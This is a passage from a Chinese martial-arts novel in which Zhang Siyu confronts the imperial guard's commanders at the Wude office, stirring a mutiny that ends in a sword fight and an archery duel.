夜出奇的静,静得连窗外鸟儿煽动翅膀的声音都听得清楚。陈雅安仍持着今日大首座交予他的那份信长凝。
眼神中透着凄,透着寒。
他知,那封信是张司宇的手笔。
“三年期短,但祈君守。仅此一次,下不为例。”
也许是威胁,也许是承诺。
他才理解,为何出白陵城那日,张司宇要送一送自己,原来,张司宇并不准备让自己这么快就回到白陵城。先是将少主的书信送到,待他一到江心学宫,大首座应时就会告诉他,白陵少主命他留在江心学宫开物门学习机关之道,他就不得不奉命,不得不留下。
白陵少主爱惜声誉,马不许被人侮辱,命令更不得违抗。
三年,千千日夜,日日如年,即便对遥在北地的天作之合馆望穿秋水,但也只能硬熬过这漫长的三年。幸而,天作之合馆的这只神鹰,还有法子,与远在白陵的人们互通往来。
26. 赴武德司会神枢将
转日,张鹏取出两柄剑,一柄如星河般璀亮,一柄则刻有祥云之纹。
张鹏提起那柄剑身点缀晶石如星的长剑,交到张天作手中,“天作,这柄天河剑,是司宇专门请剑匠良斩为你所铸。”
聂风与叶凯听到是良斩剑作,目光一刻不移地注视起天河剑。
张天作接过天河剑,刷地抖出剑身,如月明皎,颗颗晶石闪着璨目华光,如是将星河银湾嵌入长剑。
张鹏转向又将另一柄剑递予林兮,道,“林兮,司宇也请良斩为你铸了一柄左枝剑。”
林兮谢过,抽出刃如霜雪的宝剑,崭亮的剑身,清晰镌刻着两个篆字,左枝。
张天作亦将目光从天河剑移去,对着林兮手中之剑,奈声一笑,“玲珑双剑,二哥真是事事周全。”
林兮视着左枝剑,剑身祥云画纹细腻,更衬其轻盈,而张天作手足那柄流光粼粼的长剑却是重工,怎看都不像是一对佩剑,仍是不明张天作话中深意。
叶凯手痒难耐,朝林兮伸过手去,“林兮,给我看看良斩大师的剑。”待接剑在手,随即旋开几道剑花,长剑迎空而吟,鸣响脆灵。评道,“这剑名为左枝,为何刻的却是祥云之纹?”
“罢了罢了,我去练剑了。”张天作气鼓鼓地提起剑,泄气似的挥练着。
一时间,一青衣身影在精武门武场内如游龙穿梭,潇洒如风,剑光似白蛇吐信,嘶嘶破空。
白陵张家的张家剑法和回龙功是最上之武学,张家剑法又叫白陵剑法,张家人从不外传。所以,张天作即使到了江心学宫,也不是和张鹏的徒弟们学同一路剑法。
叶凯在旁不住自惭形秽,“天作叫我声师兄,当真是给足我面子。”
张鹏笑而不语,将几位徒弟叫了过来,命聂风等人开始练白陵张家的另一套剑法,天晶剑诀,同时,手把手教起林兮剑招。
林兮每每运功起剑,都觉心中有两股力量在较劲,越是催息,就越觉得胸口下像是要裂开般,他向张鹏问起缘由。
见林兮颇有些功底,张鹏询道,“林兮,你是否练过其他内家功夫?”
林兮点了点头,“学过一些玄心奥义诀,不过练了几年都未曾入门。”
“玄心奥义诀是阴柔的内家功夫。”张鹏评道,“你练过天晶剑诀的内功后,断不可再驱练玄心奥义诀,不然一阴一阳,一柔一刚,于身有损。”
“师父,那我的玄心奥义诀岂不是有害无益了?”
张鹏叹了叹道,“根基尚浅,不是什么打紧之事,我教你套调息的心法,调和体内阴阳二息。不过切记,但断不要再运此功,否则体内齐聚大阴大阳之气,极易损伤自己的体骨。”
“是,徒儿谨记。”
半月后,江邑潘家也将陈雅安为张天作置办的一车行李送到了江心学宫,张天作见已有陈雅安在江心学宫陪伴自己,就打发了那二人回到江邑。临行前,张鹏各赏了十两银子,那二人才甘心回去。
张天作见了他的琴,大喜往外。林兮几人,茶余饭后,时常可听到从他房内传出的悦耳琴音。
自打这个“祥瑞福星”到了江心学宫后,连其三叔张鹏都觉顺心,张天作武学功底本就优于精武门众多门生,他自小习武,在白陵君侯严厉的调教下,他的性子也较常人坚韧。
但失了瑞气的墨白城却是暗流涌动。
对张司宇而言,陈雅安的离开,是千载难逢的良机。自得知他将留在江心学宫后,便开始一点点挖掘着禁军的墙角。
禁军乃是墨白城禁卫军,也是北都中唯一一支可以进入墨白城内的武力。
八营人马中,以陵侯亲自组建起的神枢营最为精悍。神枢营不仅是陵侯留给白陵少主的嫡系兵马,连姚都督和兵部都无权过问神枢营事务。
张司宇多番打听,得知神枢营不仅在墨白城武德司内有着独立的武库,其一年军需军用的零头,竟足以养活禁军其余七营人马。
张司宇利用神枢营和其余七营天差地别的待遇作为契机,命王猛暗中联络,在一番游说后,摇光营副统领韩立华果真动摇了。
这一日,神枢营四位将领中的三位外出公干,留守武德司的楚英和杨侃看张司宇突然造访,知来者不善,将张司宇拦在武德司外。
“放肆!本将今日照例视察禁军,你二人这是何意?”
“照例?”楚英不以为意地轻质道,“照的什么例?张司宇,禁军几时改了门面,轮到你话事?”
张司宇道,“白陵张家尚武荣军,四时伊始,皆要督察各军,以示不忘先祖兵马掠战天下之勇。祖制历来如此,本将乃是张家战神上将,白陵城之副主,何以不能担此任?”
楚英道,“你真将自己当回事了不成?在你摘星阁那一亩三分地儿,你愿做这光杆儿的上将便做了,但到了武德司来,你这什么上将,可是行不通的。”
杨侃迈步上前,向张司宇拜道,“二公子明鉴,少主早已将禁军交由楚统领和陈大人,今日上将若进了武德司的门,传到少主耳中,对二公子而言恐不是什么好事,还请二公子自重。”
“旁人?”张司宇轻嗤一声,“你说的可是陈雅安?”
杨侃犹豫了下,“这,陈大人是少主亲自指派来的,当然算不得是旁人了。”
张司宇轻笑道,“杨统领这么喜欢拿少主吓唬我,不妨将少主请来,当面问问少主,我和陈雅安谁是少主的亲二哥?”
楚英突道,“张司宇,你故意的吧,少主闭关,谁人不知,你是诚心要惊扰少主不成?”
张司宇呵呵一笑,“我就是听到人议论,说你这禁军统领无能,处事不公,少主闭关清修,不该为如此琐事劳神。本将此行,自是为君上解忧而来。”
杨侃道,“末将从未听过武德司内有何不公之事,还请二公子明示。若经查属实,我等必当秉公而办。”
张司宇道,“听闻年前神枢营考核三箭定靶时,有位将士未及全数出箭,便被陈雅安取消了考核资格,可有此事?”
楚英眼中一惑,杨侃立即凑到他耳边说了一阵,楚英豁然想起,轻嘲道,“张司宇,神枢营选人自有标准,未通过考核是常有的事,不是随便什么人都能进的。”
张司宇道,“正是因为如此,我才更为担心,楚英,自你接手禁军以来,禁军哪件事不是陈雅安在李代桃僵?你这禁军统领形同虚设,除了神枢营,你可有兼顾过禁军其余的将士们?若再任着你这般肆意妄为,禁军七营迟早毁在你手里。”
楚英道,“你这话什么意思?”
张司宇道,“今日张司宇到此,不为别的,就是为了给禁军七营的兄弟求一份公道来,免得今后禁军只神枢营一营独大,待少主出关时日,七营将士再无立足之地。”
杨侃恍悟,低声对楚英道,“
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楚统领,我看张司宇今日冲的是禁军,不是神枢营。”
楚英脑中一紧,只道,“诸将听令,张司宇若胆敢再入武德司一步,即刻拿下。”
张司宇踏步朝武德司迈进,才走了没几步,禁军将士纷纷握紧刀柄,只待楚英一声号令,便将引刀出鞘。
“且慢。”摇光营副统领韩立华忽插声道,“上将,楚统领,且听我一言。楚统领,有幸入神枢营,莫说下面的兵士,便是对我等而言,都是无上的荣光。上将适才所提的那位将士,正是末将麾下的百长陈春山,他入神枢营考核试箭时,末将在旁瞧得真真切切,他的弦断得突然,按理是该换弓再试,可陈大人却仅仅斥责了几句,便命他退出,如此确有失公允。”
杨侃扫视四周,问道,“陈春山何在?”
韩立华回道,“陈春山自被陈大人训斥过后,一日中有大半日都在练箭,此时合该是在校场。”
杨侃道,“去,将陈春山叫来,我有话问他。”
少顷,陈春山横背漆黑长弓,斜挎箭囊赶到。
杨侃看着他的弓身磨得发亮,箭翎齐如梳齿,弦亦泛着若隐若现的寒光,知是陈雅安的鞭策起了作用,问道,“陈春山,我问你,你考核当日,是哪几位考官在场?”
陈春山单膝跪地,抱拳道,“回杨统领,末将试箭那日,陈大人和神枢营四位统领俱在。”
杨侃道,“你弦断之后,可有提过要换弓重试?”
陈春山道,“回杨统领,末将当场便提了,只是陈大人说末将不善骑%射,再换张弓来也是无用,让末将省省力气,三年后再来。”
杨侃若有若无地笑了一下,“陈春山,陈大人定下的考核规矩你也当清楚,过便过,不过便不过,断无再试之理。陈大人竟肯再给你一次机会,许你三年后再试,已是罕见。
陈春山垂头不语,杨侃又道,“你大可去向神枢营诸位将士们打听打听,他们谁入神枢营时,是由陈大人亲自带着四位统领考核的,这中深意,恐不必我多说了吧?陈大人惜才,既愿再给你次机会,你也当珍惜才是。”
陈春山一顿,张司宇突然笑道,“楚英,你作为禁军统领,杨侃今日所言,你为何却像是头次听说一般?可见你对禁军的了解,反不如手底下的一位将领知道得详尽。”
楚英道,“我如何统领禁军,不劳你费心。”
张司宇轻蔑道,“伯父当初重建禁军,八营人马当如何调派都与我说的清楚仔细,除了伯父,再没有人比我更了解其用意。楚英,你作为禁军统领,却对禁军中事一问三不知,陈雅安今年才过二八之岁,既未领兵打过仗,更是无缚鸡之力,如此之人,何以统率四千禁军,禁军到了你们这般人手中,怕是只会白白糟践了。依我看,你这禁军统领,是时候该退位让贤了。”
看张司宇那咄咄架势,杨侃出言道,“楚统领自接管禁军以来,兢兢业业,陈大人虽非行伍出身,但他的能力亦毋庸置疑,何来退位让贤一说?”
张司宇嘴角轻轻一扬,“杨侃,你只是神枢营的将领,并非禁军的大统领,你一个人,代表得了神枢营,代表得了其余七营吗?”
杨侃上前抱拳道,“今日禁军八营首领俱在,诸位不妨讲句公道话,自楚统领和陈大人接手禁军以来,他二人可有何失职之处。”
众人窃窃议论,压低声音交头接耳,却无一人上前出言。
27. 众心协力
禁军七营将士并非敢怒不敢言,而是陈雅安除了年纪轻、资历浅,当真是行事稳妥,赏罚分明,鲜有错漏。
张司宇直道,“怎会没有?四千禁军配战马四千匹,按理当由各营平均分配,可经了陈雅安的手,神枢营一人可独得六匹,其余七营所得之数,竟不足神枢营的一半。武德司分明有武器库房,却只供神枢营之用,其余七营还是要向司马府寻要兵器。这还没算上军需军饷,据说神枢营一名寻常兵士,一年所得,竟比七营的正经统领还要多出两成,听说,这些都是陈雅安定下的规矩?”
所有人瞬间噤声,偷眼瞧着楚英和杨侃。
杨侃义正严辞道,“禁军军备,乃是司马府所定,与陈大人何干?即使与神枢营不同,但亦与五军无异。”
张司宇道,“尔等既号称禁军八营,理当视同一律,为何你神枢营如此卓尔不群,岂不平白伤了其余七营将士的心。”
忽听一阵“咔嗒”轻响由远及近。
众人还未反应过来,一位身着背心革甲的壮汉已健身阔步站到张司宇身前,肘肩处的甲胄与胸膛贴得严丝合缝,革甲上嵌着得每一片玄铁如是浸透夜色,泛着哑光,层层叠片像乌鸦收拢的羽翼,他每动一下,甲片便跟着他的动作“咔嗒”响一下。
壮汉道,“杨老弟,二公子难得到武德司来,怎不请二公子过门喝口茶水。”
这位壮汉姓李名蒙,号称铁剑人屠,虽与杨侃同位神枢四将之列,但论资历,他至少比杨侃多出十年,虽未有明授,却是禁军八营实实在在的副统领。
张司宇眸中略诧,“李统领这是公干回城了?”
李蒙道,“李某人还未出城,就想起落了些文书在武德司,这不回来取一趟吗?不知二公子到此,有何贵干?”
张司宇定定看向李蒙,知他定是得了风声,恐不过多久,同样外出公干的许自山和霍长飞也将出现在武德司。
杨侃道,“还不是为了陈春山考核的事吗?不知是哪个嚼舌根的,惊动了二公子,小弟这会儿已经和他解释过了,纯属一场误会。”
李蒙按剑而立,拇指无意识地摩挲吞口,语气很冷,问道,“都解释清楚了?”
杨侃点了点头。
李蒙语气平常道,“陈春山逐出摇光营,永不录用。”
陈春山不可思议地看向李蒙,“李统领,末将错了何事,要被逐出营。”
李蒙嘴角扯出的弧度,正露出他刺目的虎齿,“我们禁军的事,最忌讳不相干的人来插手,你求仁得仁,既喊了外人来过问禁军事务,我也该还你个自由身。”
王猛显然也是不理解,站出道,“李统领,我们同属禁军,哪有什么内人外人?”
李蒙打量穿着一身普通士兵衣饰的王猛,道,“难道我做事,还要同你一无名之辈商量不成?”
王猛欲辩,身前忽然拦出一片云袖,但见张司宇神情轻松,向李蒙和和笑着,口中不疾不徐道,“看来本将今日来的果然没错,禁军的风气果真是一年不如一年了。”
韩立华瞧着这暗流涌动的二人,不禁为张司宇捏了一把汗。他自站出,为张司宇做解释的那一刻,便预见到了这个结果,因为陈雅安治下的禁军,是不允许张司宇染指的,禁军中任何人与张司宇有过联系,甚至有着不足以计较的接触后,都足以令陈雅安将其划出禁军阵营。
他选择张司宇的理由很简单,陈雅安对下属各方各面的要求确是严苛到了吹毛求疵的境界,哪怕每日供几斗米,配几支箭,都精打细算地规定下来。韩立华年过而立,虽熟读兵法,武力却不慎出众,自问在他手下实难出头,只得另谋出路。
僵持片刻,李蒙道,“禁军再是如何,自然有陈大人和楚统领操持,何须劳动二公子费心?”
张司宇道,“陈春山是摇光营的人,他是去是留,还轮不到你神枢营说了算。”
李蒙道,“李某人一介武夫,二公子不必跟我搞这些弯弯绕绕。将受军令,天经地义,楚统领是君侯和少主亲命的禁军大统领,摇光营的人怎么安排,怎么变动,自有他作主。”说着,目光转向摇光营统领周科。
楚英亦随他看去,问道,“周科,我让你来说,这陈春山是该去还是该留?”
陈春山为人正直,体恤下属,在摇光营中小有威望,周科知道,贸然逐他出营,难服众心。
周科嘴角轻抿,眼神游移向陈春山和他身后的一众摇光营禁军,欲言又止道,“此事……恐怕……”他的尾音拖长,后句迟迟不发。
李蒙冷冷玩笑了句,“看来周统领也是有自己的心思了。”
周科苦笑掩饰道,“李统领,你可真是给我出了道难题,陈春山他也没犯什么大的过错。”
李蒙扶着剑柄的手紧紧地缩了起来,转念一想,若当着张司宇的面处置周科,必会给他大做文章的机会。
杨侃见李蒙指尖微微张开,面上流露着为难的神色,遂走到周科面前,拍了拍周科肩头,含笑道,“周大哥,你想想清楚,今日陈大人若在,他该怎么处置。”
周科后脊一紧,急道,“杨统领提点的是,陈春山不从军令,按理是留不得了。”
张司宇又笑了,先后指着楚英和杨侃道,“本将刚说什么来着?禁军统领果真是形同虚设,神枢营一营独大,如此下去,难保不令其余七营将士心寒。”说着,目光扫向各营将士,“我劝诸位一句,尔等与神枢营同属禁军,少不了与神枢营打交道,往后沾到神枢营,还是将自己的尾巴夹住了,免得走了陈春山的老路。”说后明显一顿,但看禁军中不少人露出惶惶神情,眸中一凛,突道,“再或者,我给诸位另寻个出路。”
话音才落,寒光乍现,张司宇嘴边还含着一丝似有若无的笑意,腰间软剑已如银蛇出洞,剑身弹直的刹那,倏然扎进周科心窝。
所有人瞬间噤声,作肃然状。
周科喉头刚吐出一个“你——”字,身子已扑向地面。
杨侃瞠大双目,看着张司宇在自己眼皮子下行凶,手起剑落,不过须臾,视自己为无物。
张司宇轻弹软剑,声色冷漠道,“周科不体恤下属,死不足惜。”
软剑嗡嗡震颤,收回时还在滴血,一颗血珠甩落到张司宇睫毛上,他眼眨也不眨,任其滑落成泪,继续提高嗓音,“伯父组建禁军八营,为的是共同护卫墨白城。陈雅安如此训练禁军,长久以往,神枢营是壮大了,可他有想过其余七营兄弟们的出路吗?对此,我张司宇是不敢苟同的。摇光营将领周科,是为无用,韩立华,今日本将以白陵战神上将的
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身份命令你,接替他的位子。记住,你做了这摇光营统领,若是再让自己手下的将士平白低了神枢营一头,本将唯你是问。”
李蒙上前,抖出半截剑身,皮笑肉不笑道,“二公子,李某人说过,禁军中事,不劳二公子费心。”
张司宇同样回之一抹冷笑,“本将乃是白陵战神上将,白陵城内一切人事,本将皆有过问之责,摇光营统领无能,本将就为摇光营换个统领,若是你这神枢营统领也无能,本将也不介意再为神枢营择个新统领出来。”说着,目光扫向诸位观望的禁军统领,语带戏谑问道,“禁军七营统领,意下如何?”
张司宇哪里是问诸位意下如何,简直是直勾勾地在问诸位今后是要听命于他,还是继续听命于陈雅安,继续受压于神枢营。
韩立华当即响应道,“末将多谢上将,末将愿向上将立下军令状,今后摇光营的人见了神枢营的,必当挺直腰杆做人。”
张司宇得意一笑,看向李蒙,二人相隔三丈而立,目光相撞,几乎能听到冷铁击出的铮鸣。
禁军诸营统领见此情景,互相你看看我,我看看你,就是没人站出表态。
气氛一阵僵持,李蒙猛喝一声,“今日谁同韩立华一般跟了张司宇去,便不再是我禁军中人。”
天权营统领率先站出,扑膝在地,朝着楚英和李蒙叩下头,道,“末将李玉,愿效忠楚统领、李统领。”
李蒙不动声色地吐了句,“天枢、天璇、天玑,你三营是何意思?”
被李蒙点到的三营统领互视一眼,列队站出,整齐跪在天权营李玉身旁,“末将等愿效忠楚统领、李统领。”
李蒙嘴角又挂出同样幅度的冷笑,目光挑向张司宇,“二公子,还要李某人继续问下去吗?”
张司宇眼底翻涌着凶意,对着这群甘于人下的禁军统领不知当恼还是当怨,禁军七营明明人多势众,却任由神枢营作威作福,跟这几位居安忘危、多一事不如少一事的统领有着脱不开的干系。
张司宇道,“问,自然是要问的。禁军共有八营,李统领怎知其余几营中,不会有人同摇光营韩统领一般,幡然悔悟的。”
韩立华听到这话,心怯地垂下头,一时不敢向李蒙看去,腮边微微抽动着。
李蒙忽然讥笑起来,笑声充满嘲讽,“张司宇啊张司宇,你可真是让我不知该说你什么好。禁军八营,神枢,天枢、天璇、天玑、天权,如今已有五营表过态了,便是其余三营都认同你,五票对上三票,你说这结果是该由哪方说了算的?难道还有多数要随了少数的道理不成?”
张司宇唇边浮起一丝几不可察的弧度,不是微笑,因为他此刻的神色都是格外郑重,“本将今日到此,是为禁军七营将士而来,自然是禁军七营每个人都可为自己说上句话。他们中有一人愿弃暗投明,本将便能保得一人,有两人,便能救得一双。就像眼下,韩立华、陈春山二人被你逐出禁军又如何?有本将在一日,他们在墨白城内便有立足之地。”
李蒙听着那字字铿锵的话声,神情明显一顿,“这倒是新鲜——”
最后一个“鲜”字才出口,忽然听到一声惊嚎。
李蒙循声望去,见天枢营统领整个人已重重砸在地上,一把冷刀插在背上,微微摇晃着。
28. 见玄鳞甲固
天枢营统领身后的百长,面容几乎扭曲,抽出刀时,一蓬血雾溅他满脸,“汤统领,对不住了。”
声音沙哑得像是互相打磨得铁锈。
百长身旁的副将谴声质道,“应简,你吃了熊心豹子胆了?”
李蒙道,“现在的百长,胆子真是一个比一个足。”
那位副将闻声跪下,“末将失察,请李统领恕罪。”
李蒙的剑刃滑出剑鞘,带起一线寒光,向着适才行凶的百长道,“我倒要看看,你有几分能耐,敢在武德司生事。”
应简眼看着李蒙提剑逼进,未及抽出插在汤统领背后的刀拦迎,却见目眶冷锋乍现,在他眼前划过一道寒光。
一把颤颤软剑拦在了他和李蒙之间。
张司宇道,“李统领不会是气恼了,要杀人灭口吧?”
李蒙嘴边不以为意地勾了下,“二公子,此人胆敢在武德司行凶,难道还不许李某人清理门户了?”
应简眼底的挣扎很快被一股狠厉取代,收回宽刀,衣袖随意在面上一带,抹去血渍,道,“上将,李统领,当年少主逐末将出神枢营时,便同末将说过,不是谁都配入神枢营的,这话末将一直记得。末将等到今日,终于算是有机会可以问问李统领,究竟什么样的人,才配入神枢营?”
张司宇眉宇微蹙,打量着这位叫做应简的百夫长,身型壮实,阔背虎腰,皮肤粗粝如砂,好像每个毛孔中都嵌着狼烟的气息,俨然一副武人的好筋骨,一时不解少主为何连这样的人都要逐出神枢营。
李蒙视着应简看了许久,无甚印象,略侧过身询向杨侃,“此人可进过神枢营?
杨侃审视应简一番,摇了摇头,“应简,你说少主逐你出神枢营?是几时的事?又是谁招你进来的?”
应简咬了咬牙,目中流露出一副不甘神色,“还请李统领先告诉末将,要什么样的人,才配入神枢营?”
李蒙道,“众所周知,入神枢营者,除了要过三关外,人品、心性都要正,背后伤人者不可,卖主求荣者更是不行。”
“好。”应简不甘点了点头,语气忿忿道,“今日我在汤统领背后出手,李统领说我背后伤人,卖主求荣,应简无话可说。但是三年前的应简,却不是一个卖主求荣的人。”说着,朝向张司宇,“上将明鉴,三年前应简参加神枢营考核,是霍长飞霍统领亲自考较的。末将单衣卧雪、双甲泅渡、三箭定靶均是甲等。考核过后,陈大人将末将画像送于少主处,少主见了末将画像,说末将鼻子长得歪了,便将末将退回了天枢营。”应简边说边叹,一阵自嘲般的笑音过后,再度不甘放声道,“鼻子长得歪了,又不是进歌舞坊里挑伎子,军中选材哪有这般道理在的!”
张司宇心下一沉,见应简陡峭眉峰下,鼻骨当中确实扭了一截,只道,“应简,少主少年心性,并非有意以貌取人,或许是另有用意。”
应简微微一惑。
李蒙突然再刺一剑,张司宇知若在武德司出手伤了李蒙,莫说陈雅安,便是神枢营都未必肯轻易让自己全身而退,但若李蒙先出的剑,他倒可自保出剑。
知成败在此一举,遂即旋身递剑,剑光织成银网扑向李蒙,杀机迸发,双剑相绞出令人牙颤的擦声。
再看摇光营,韩立华已命人亮出佩刀,策应张司宇。
杨侃知单打独斗,神枢营不败铁剑李蒙未必会是张司宇对手,压低声向楚英道,“楚统领,此先陈大人请来的寒手判官现在何处?”
楚英摇了摇头,“那批人我调不动的。”
杨侃眉心一皱,“您调不动?”见楚英点着头道,“那批人都是只听雅安的,雅安不轻易让他们出手。”
“这。”杨侃为难了下,“陈大人算无遗策,怎会料不到张司宇会来武德司大闹,难道他就一点准备都没做吗?”
楚英道,“他说有神枢四将在,张司宇不敢轻举妄动。”
杨侃眼中一转,“许大哥和霍大哥今日去平川马场挑选战马,这会儿也快回来了,我去助李大哥,拖延一时是一时。”
楚英点了点头,“好。”
杨侃持剑攻向张司宇侧翼,逼得张司宇骤出数剑,剑势如暴雨倾泻,岂料李蒙守得有条不紊,滴水不漏,软剑顺势斜挑,划向杨侃心头,却听“叮”的一声脆响,剑尖如撞铁壁,竟未能寸进。
李蒙又趁隙一剑削来,张司宇仓促格挡,震得虎口发麻。
“上将当心,那是玄鳞甲。”应简在旁提醒道。
张司宇急退数步,见软剑剑尖已折下一角,视线扫向杨侃前胸,剑锋划破的衣衫下,隐泛着玄黑墨光,与李蒙身上的玄铁革甲如是一色,向应简道,“玄鳞甲?”
应简道,“神枢营的玄鳞甲刀枪不入,唯射天弩可破。”
张司宇道,“还不取射天弩来。”
应简回道,“射天弩也在武德司后院的武库中,要神枢营四位统领合力才能打开。”
张司宇略一思索,得知此时必得缠紧李蒙和杨侃,不然待霍长飞和许自山回到武德司,他们四人一齐取出射天弩,情形只会更糟。
李蒙听到应简对神枢营内情形颇为了解,骤然直呼,“宋志斌,让那应简闭嘴!”
张司宇眼中一凛,剑招骤变,不再攻向胸腹,转而刺向二人喉颈、臂腕、下盘——那些未被软甲覆盖的部位。李、杨二人看出张司宇用意,双剑左右呼应,将张司宇的强攻尽数封挡。
应简身旁副将得令,提刀相向。
应简微一侧身,一手劈向敌腕,顺势将钢刀夺下,道,“宋大哥,今日若能助上将除了神枢营,上将必将记你我一功。”
见宋志斌神色微微动容,应简再道,“难道你也甘心一直屈于神枢营之下不成?”
宋志斌思量起来,哪料应简径直回过身,向身后兵士下令道,“天枢营的弟兄们,所谓富贵险中求,谁想为自己的前程搏上一搏,就举起刀来,随我护卫上将。”
一道道寒光翻出,天枢营的兵士们陆续响应,宋志斌见状,只得随众,举起宽刀道,“护卫上将。”
诸营同属禁军,都是素日抬头不低头见的兄弟,便是兵戈相向也是点到为止,以观大局,何况,张司宇的话直戳七营将士痛处,哪有听了不
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动心的?只是碍于神枢营强大,不得不听从李蒙的命令而已。
应简观其形势,摇光营中以一位眉疤入鬓的大汉拼得最凶,可那人却只对着一众小兵下手,无甚效果。眼下只有天枢、摇光二营人手显然不够,届神枢营人马齐至,他们也只有束手就擒的份儿。遂潜到韩立华身侧,道,“韩统领,擒贼先勤王,你带着几个兄弟随我去将楚统领拿下如何?”
韩立华心中不由一颤,略一侧目,看楚英正在与摇光营拼砍,多数人碍着他的身份,宁可挨伤避开,也不向他出手。道,“不可,莫伤了楚统领,不然少主和陈大人怪罪下来,我们十颗脑袋都担待不起。”
应简急问道,“那今日你们闹这一出是为了什么?”
韩立华道,“自然是要为我们七营兄弟讨个公道。”
应简脑中一转,“蛇无头不行,我们先去将七营正副统领除了,让七营无首,好交由上将统率。”
韩立华见应简有几分身手,所言又直切要害,重重向他点了下头,“我正有此意,他们平日尸位素餐,哪里顾过我们。”随后向摇光营下起命令。
天枢营、摇光营统领已倒,余下五营统领看到应简带着摇光营冲杀到眼前,论是谁也不会想到,天枢营中,这位生性孤僻的百长,阴厉皮下包藏着如此狼性,竟可号召动资历颇深?的韩立华。
武德司前,瞬时炸成一团。禁军七营的将士本欲还击,但多为陈春山鸣不平,又架不住应简的鼓动,想到今日若事成,今后便不用再平白看神枢营脸色,哪里会有不愿的?眼看张司宇与神枢营二将缠斗,心中不约而同地想到,待他们三人分出胜负,再做表态也不迟。
铛铛数剑,剑刃与剑刃碰撞得火星四溅,张司宇却始终无法突破二人联防,胶着之际,李、杨二人双剑自左右飞扑而至,张司宇回剑一搭,提腿向杨侃当胸踢去,见杨侃身子踉跄后摇,身随剑进,不顾李蒙追来的铁剑,斜下剑锋飘向杨侃小腿。
软剑已至,杨侃眼中惊光一闪,心下大乱。
嗖!
一支翎箭破空而来,直射张司宇持剑的手腕。
张司宇反应极快,身子一晃,格开箭矢,李蒙的铁剑亦擦着他衣袖而过。攻势已断,张司宇饶有余惊地看着被矢箭生生射断的软剑,而远方一嵌着箭衣的男子又搭上新箭,重新挽起了弓。
那位挽弓搭箭的男子旁,另有一人向自己高声喊道,“二公子,你若再不放下兵器,我等真当不客气了。”
张司宇看,喊话的人正是霍长飞,而他身旁的许自山,乃是神枢营箭无虚发的穿杨手,是射自己的身子,还是射自己手中的剑,于他而言,在箭矢离弦的那刻,就已成定论。
近有李蒙、杨侃持剑联逼,远有许自山、霍长飞架弓布防,张司宇深知自己但有退怯,今后莫说统率禁军,便是他这战神上将之名,都当成风下浮萍,只得硬着头皮迎战。心想,许自山距这里不足百步,眼下唯有避至李蒙和杨侃身后,才能躲开他的箭。
不待李蒙和杨侃闪出身位,他便缠魂般绕至杨侃身后,杨侃左移,他便左移,杨侃右挪,他便右挪。
29. 长弓逐箭
李蒙见张司宇脚下随杨侃步动,知他走位受限,趁势猛攻。
杨侃冷咧一笑,立在原地出剑,论是张司宇如何露出破绽引诱,都不为所动,眼看着他被李蒙逼迫得剑法颇乱,更是向着久不放箭的许自山喊道,“许大哥,我有玄鳞甲护身,七十步距,你的箭伤不了我。”
许自山与霍长飞交换了眼神后,重新拉满弓弦瞄去。
箭又离弦。
张司宇扯住杨侃甲衣,像护盾般抵在身前,不料杨侃拼着全身气力急坠下身,箍住张司宇下盘,令其左右双足一时挪动不开。
飞箭眨眼即至,张司宇只得换剑来挡,却听耳边剑锋掠过,李蒙的剑身正从另一方向旋近。
千钧一发,张司宇眼前扑入一道身影,在他的目眶中无限扩着。
剑刃穿透皮肉。
李蒙愣住了。
杨侃煞是难信。
张司宇更是难信。
李蒙握剑的手微微发颤,“愚蠢。”
王猛却咧嘴笑了,牙齿森白,“陈百长对我有知遇之恩,为他所请而死,我心甘情愿。”突然反手抓住脸侧的剑刃,借力旋身,李蒙被带得失力前扑。
王猛催道,“上将,还不下手,等什么呢。”
张司宇迟疑片刻,软剑一颤,撩向李蒙腋下。
剑锋划过,革甲接缝处发出裂帛般的撕声,一片墨鳞飞出,接缝处涌渗出鲜血。
李蒙闷哼一声。
张司宇视着斜贯王猛左颊的血痕,掌心亦有鲜血滚流不停,道,“若不是李统领留情,这一剑足以要了你的命了。”
张司宇朝杨侃补出一掌回龙功后,一脚踢开他,站到王猛身前,以防许自山再放箭。
这时,张司才反应过来,适才许自山明明放出一箭,以他的精湛的箭术,是断不会失手的。
举目寻去,看许自山的箭又猝不及防地飞出。
然而,就在那箭矢行到半途,另一支箭从侧面疾射而来!
铮的一响,两头箭簇在半空碰撞出刺眼的火花,斜斜插入地面,旁还另插着两支羽箭。
张司宇猛然转头望向箭矢射来的方向,武德司瓦顶上方,一道人影持弓而立,弓弦泛着冷光。
张司宇道,“原来是他。”
王猛忍着痛笑道,“陈百长的箭法,可是数一数二的出挑。”
李蒙腋下伤口血流不止,咬牙硬撑将杨侃召至身旁,对他说了句后,杨侃忍着胸口滞痛,朝屋顶放声高喊道,“陈春山,你下来。”
陈春山搭上一支箭对向杨侃,“那就看杨统领有没有这个本事了。”
许自山见状也架出一支箭,高呼道,“陈春山,你能射开我的箭,我也能射开你的箭,不信,你便试试。”
话音才落,两支流星飞箭几乎同时破空,发出尖锐的嘶鸣,在空中相撞的瞬间,陈春山射出的箭像是受了什么巨力,箭身木杆猝然炸开,两截箭身交错落地,而许自山的箭却是完好无损地斜插进土。
众人皆被这力劲大得出奇的一箭震慑,厮杀声竟短暂停滞。
许自山举着手中的反曲重弓,高声呼喝道,“陈春山,你真觉得自己有几分准星,就能胜过我手中的逐日弓吗?”
陈春山目光从容地看着那张精致的重弓,不动声色地从箭囊中勾出三支羽箭,搭到自己的黑弓上。
许自山牙关一紧,再度喊道,“陈大人说的果然不错。”
陈春山一听,心下委屈再起,扯着嗓子向远处的许自山宣泄道,“难道许统领也认为我是不善骑%射之人吗?”
许自山豁然一笑,朗声回应道,“那不过是陈大人见你臂力不足,想让你练得勤些。他跟我说起你时,用的是另外一句话,同时还给我留了一句话。”
陈春山高声问道,“他都说什么了。”
许自山喊道,“你下来,我便告诉你。”
陈春山放声说道,“不说便不说罢,你这白陵第一营,我也不在乎了。”
杨侃缓过劲儿来,将李蒙护在身后,朝着陈春山的方向扩了扩胸膛,“陈春山,你当玄鳞甲是吃素的吗?”
张司宇见状,盯着地面上,适才李蒙掉落的那片甲鳞,出了神。杨侃中了一掌回龙功不久,按理此时该是胸口最为痛窒的时候,没想他却像无事一般,可见是这玄鳞甲防身之功。
陈春山却来了句,“杨统领,玄鳞甲能护身,但护得住你的咽喉吗?”说话间,瞟着弓上三箭向张司宇喊道,“上将,末将有信心,任许统领的箭再是准,也难同时保住李统领和杨统领两个。”
杨侃眉心一跳,“好小子,你有种。”
